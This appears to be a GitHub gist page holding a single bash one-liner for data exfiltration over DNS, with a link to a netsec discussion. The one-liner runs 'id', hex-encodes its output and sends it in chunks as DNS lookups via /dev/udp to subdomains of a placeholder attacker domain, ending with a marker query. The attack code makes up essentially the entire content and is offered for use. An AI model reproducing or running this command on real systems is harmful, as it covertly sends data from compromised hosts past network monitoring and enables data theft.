luca-m/BASH_DNS_DATAEXFIL

Created January 22, 2015 21:05

Star (0) You must be signed in to star a gist
Fork (0) You must be signed in to fork a gist

Select an option

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/luca-m/2e12570c6c6abe2eb042.js"></script>
Save luca-m/2e12570c6c6abe2eb042 to your computer and use it in GitHub Desktop.

Download ZIP

Ref. http://www.reddit.com/r/netsec/comments/2t3l5s/bash_data_exfiltration_through_dns_using_bash/

Raw

BASH_DNS_DATAEXFIL

(LINE=`id`;domain=yourdomain.com;var=;while IFS= read -r -n 1 char;do var+=$(printf %02X "'${char:-$'\n'}'");done<<<$LINE;e=60;l=${#var};for((b=0;b<l;b+=60))do>&/dev/udp/$RANDOM.$b.${var:$b:$e}.$domain/53 0>&1;done;>&/dev/udp/$RANDOM.theend.$domain/53 0>&1)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment